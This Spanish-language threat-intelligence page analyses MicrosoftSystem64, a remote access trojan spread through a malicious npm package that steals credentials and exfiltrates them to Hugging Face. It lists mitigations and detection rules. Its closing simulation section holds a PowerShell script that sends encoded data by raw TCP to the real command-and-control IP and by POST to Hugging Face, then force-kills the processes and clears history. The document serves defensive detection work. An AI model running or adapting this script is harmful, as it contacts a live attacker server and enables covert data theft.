MicrosoftSystem64: Un RAT de Cadena de Suministro que Exfiltra Datos a Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un paquete malicioso de npm nombrado js-logger-pack fue utilizado para distribuir una aplicación de Node.js de un solo ejecutable multiplataforma llamada MicrosoftSystem64. El binario funciona como un troyano de acceso remoto con todas las funciones, capaz de robar extensiones de billeteras de criptomonedas, credenciales almacenadas en el navegador, claves SSH, datos de sesión de Telegram y capturas de pantalla. La información robada se exfiltra a través de conjuntos de datos privados de Hugging Face utilizando un token de API comprometido, mientras que el tráfico de comando y control es manejado a través de un servidor WebSocket en 195.201.194.107:8010. La campaña ha sido vinculada a un actor de amenaza asociado con Corea del Norte que rota las cuentas de npm y Hugging Face para preservar el acceso y mantener las operaciones.
Investigación
SafeDep analizó la muestra de malware y extrajo su configuración cifrada con XOR, el punto de control y comando, el token de Hugging Face y una lista de más de 80 ID de extensiones de billetera objetivo. Los investigadores también revisaron los métodos de persistencia utilizados en sistemas Windows, macOS y Linux y reconstruyeron la cadena completa de exfiltración que involucra las APIs de Hugging Face. La validación en vivo del 28 de mayo confirmó que los conjuntos de datos activos aún estaban recibiendo capturas de pantalla y archivos de credenciales tomadas de víctimas reales.
Mitigación
Las organizaciones deben eliminar de inmediato cualquier paquete de npm malicioso conocido vinculado a esta campaña, rotar las credenciales comprometidas, claves SSH y semillas de billeteras de criptomonedas, y monitorear la actividad no autorizada de API de Hugging Face. Las protecciones de punto final deben detectar el nombre del proceso MicrosoftSystem64 y cualquier creación de tarea programada relacionada. Los controles de red también deben bloquear el tráfico saliente a la dirección IP de comando y control identificada y restringir el acceso inesperado a los puntos finales de Hugging Face desde binarios desconocidos.
Respuesta
Si se detecta MicrosoftSystem64, aísle inmediatamente el sistema afectado, termine el proceso malicioso, elimine los archivos instalados y las tareas programadas, y revoque el token de Hugging Face comprometido. Los investigadores deben recopilar evidencia forense de registros y cualquier ruta de datos exfiltrada, luego notificar a las partes interesadas relevantes y actualizar las herramientas de escaneo de dependencias para bloquear los paquetes maliciosos en futuras compilaciones.
Flujo de Ataque
Detecciones
Puntos de Persistencia Posible [ASEPs – Software/NTUSER Hive] (a través de evento de registro)
Ver
La Posibilidad de Ejecución a Través de Líneas de Comando de PowerShell Ocultas (a través de cmdline)
Ver
Archivo .desktop de Linux Fue Creado en Carpeta Inusual (a través de evento de archivo)
Ver
Archivo Oculto Fue Creado en Host Linux (a través de evento de archivo)
Ver
IOCs (HashSha256) para detectar: Dentro de MicrosoftSystem64: Un RAT de Cadena de Suministro Exfiltrando a HuggingFace
Ver
IOCs (SourceIP) para detectar: Dentro de MicrosoftSystem64: Un RAT de Cadena de Suministro Exfiltrando a HuggingFace
Ver
IOCs (DestinationIP) para detectar: Dentro de MicrosoftSystem64: Un RAT de Cadena de Suministro Exfiltrando a HuggingFace
Ver
Detección de Registro de Teclas SetWindowsHookEx por Malware [Windows Sysmon]
Ver
Detección de MicrosoftSystem64 RAT en Sistemas Linux [Creación de Procesos de Linux]
Ver
Exfiltración de Datos del RAT MicrosoftSystem64 a través de HuggingFace [Conexión de Red de Windows]
Ver
Detección de Ejecución del RAT MicrosoftSystem64 y Comando de PowerShell [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta que espera la lógica de detección.
-
Narrativa y Comandos del Ataque:
Un atacante ya ha instalado el “Microsoft System64 RAT” en el host Windows comprometido. Para exfiltrar datos robados, el RAT realiza dos acciones paralelas:- Canal C2: Abre un socket TCP en bruto al servidor malicioso codificado
195.201.194.107en el puerto8010y transmite datos codificados en base‑64. - Exfiltración HTTP Encubierta: Emite una
POSTsolicitud HTTPS ahttps://huggingface.co/api/uploadcon los mismos datos incrustados en el cuerpo de la solicitud, utilizando un agente de usuario legítimo para mezclarse con el tráfico normal.
Ambas acciones generan eventos de firewall salientes que coinciden con la regla Sigma.
- Canal C2: Abre un socket TCP en bruto al servidor malicioso codificado
-
Script de Prueba de Regresión:
# ------------------------------------------------- # Simulación de Exfiltración del RAT System64 (PowerShell) # ------------------------------------------------- # 1. Preparar datos de exfiltración ficticios $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Enviar datos a través de TCP en bruto (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] Exfiltración TCP enviada a $c2Ip:$c2Port" } catch { Write-Error "[-] Conexión TCP fallida: $_" } # 3. Enviar datos a través de HTTPS a HuggingFace (exfiltración encubierta) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] Exfiltración HTTP enviada a huggingface.co" } catch { Write-Error "[-] Solicitud HTTP fallida: $_" } -
Comandos de Limpieza:
# Eliminar cualquier artefacto de red residual Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Limpiar historial de PowerShell (opcional) Clear-History